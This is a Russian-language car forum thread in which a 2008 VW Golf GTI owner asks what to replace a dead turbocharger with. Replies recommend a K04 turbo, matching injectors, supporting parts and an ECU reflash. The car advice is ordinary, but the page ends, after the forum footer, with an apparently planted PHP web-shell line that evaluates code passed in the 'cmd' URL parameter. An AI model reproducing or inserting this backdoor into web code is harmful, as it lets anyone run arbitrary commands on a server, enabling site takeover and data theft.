+ Ответить в теме
Показано с 1 по 10 из 11

Тема: умерла турбина. на что заменить?


Комбинированный просмотр

  1. #1
    Мимо проходил gleb185 is on a distinguished road Аватар для gleb185
    Регистрация
    19.07.2010
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    5

    умерла турбина. на что заменить?

    Всем привет. Сразу говорю, я не особо в моторах разбираюсь, прошу не пинать ногами.

    Официалы сказали, что умерла турбина на моем GTI 08 года. (хуже валит, ошибки появились, заменили N75 - результат тоже недодув. Плюс масло капает вроде как из турбины) Сейчас возникает вопрос на что ее поменять, вариант ставить оригинал не особо интересен, если есть возможность поставить kkk (вроде как фольцы ее оемят) большей мощности, но без фанатизма (перепрошивки мозгов и прочее). Существуют ли такие варианты? Спасибо заранее.

  2. #2
    ставь К04 побольше чам родная и переделывать много ненадо.

  3. #3
    Мимо проходил gleb185 is on a distinguished road Аватар для gleb185
    Регистрация
    19.07.2010
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    5
    А на edition 30 k04 стоит?

  4. #4
    Купралётчик dimm is just really nice dimm is just really nice dimm is just really nice dimm is just really nice dimm is just really nice Аватар для dimm
    Регистрация
    19.03.2010
    Откуда
    Москва, Сочи
    Машина
    SEAT Leon Cupra Tribu - сток by OverLoad
    Сообщений
    1,939
    Да, как на Купре и эС3.

  5. #5
    Мимо проходил gleb185 is on a distinguished road Аватар для gleb185
    Регистрация
    19.07.2010
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    5
    Спасибо!

    значит я так понимаю, что достаточно просто купить новую турбину как на edition 30 (kkk 04) и перепрошить блок управления?
    или еще что-либо надо переделывать?

  6. #6
    GTI-Racing Zerg is on a distinguished road Аватар для Zerg
    Регистрация
    12.04.2007
    Откуда
    Москва
    Машина
    GTI
    Сообщений
    383
    Цитата Сообщение от gleb185 Посмотреть сообщение
    Спасибо!

    значит я так понимаю, что достаточно просто купить новую турбину как на edition 30 (kkk 04) и перепрошить блок управления?
    или еще что-либо надо переделывать?
    Можно и так, но лучше ко всему этому докупить форсунки от Е30/Cupra/S3 и перепрошить блок.

  7. #7
    Мимо проходил gleb185 is on a distinguished road Аватар для gleb185
    Регистрация
    19.07.2010
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    5
    ясно, еще вопрос

    а турбину от edition 30 лучше брать VAG или kkk(не уверен в правильности написания)?

    это получается полностью аналоги?

  8. #8
    Жгун Года 2010 КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough КИБАЛЬЧИШЬ is a jewel in the rough Аватар для КИБАЛЬЧИШЬ
    Регистрация
    14.04.2008
    Сообщений
    2,346
    Цитата Сообщение от gleb185 Посмотреть сообщение
    ясно, еще вопрос

    а турбину от edition 30 лучше брать VAG или kkk(не уверен в правильности написания)?

    это получается полностью аналоги?
    Покупать нужно будет не только турбину, еще форсунки, другие пайпы на
    впуске и еще какие то клапана, я сейчас свою буду разбирать, тогда точно скажу что нужнео поменять.

  9. #9
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    к04 оем, форсы, слив подачу масла-антифриза, прокладки (коллектор-даунпайп) шпильки, шайбы под антифриз (слив-подачу).
    добавляешь впуск, кулер (хотя бы С3) и выпуск 3" и получаешь за 300 л.с. хорошо.
    п.с. могу помочь со всем этим

  10. #10
    Мимо проходил gleb185 is on a distinguished road Аватар для gleb185
    Регистрация
    19.07.2010
    Откуда
    Бобруйск
    Машина
    Бричка
    Сообщений
    5
    Цитата Сообщение от Амет Посмотреть сообщение
    к04 оем, форсы, слив подачу масла-антифриза, прокладки (коллектор-даунпайп) шпильки, шайбы под антифриз (слив-подачу).
    добавляешь впуск, кулер (хотя бы С3) и выпуск 3" и получаешь за 300 л.с. хорошо.
    п.с. могу помочь со всем этим
    да мне и 230 сил достаточно как на e30 ))

+ Ответить в теме

Похожие темы

  1. Умерла АКПП
    от IRBIS555 в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 31
    Последнее сообщение: 17.03.2020, 21:45
  2. Умерла симка мегафон
    от KOT в разделе Курилка
    Ответов: 2
    Последнее сообщение: 18.10.2019, 19:49
  3. Умерла печка, что делать?
    от Filya в разделе Электрика
    Ответов: 14
    Последнее сообщение: 10.01.2013, 13:42
  4. можно ли заменить
    от GREY в разделе Тюнинг: подвеска, ходовая, тормозная система, КПП
    Ответов: 0
    Последнее сообщение: 01.12.2007, 19:13

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}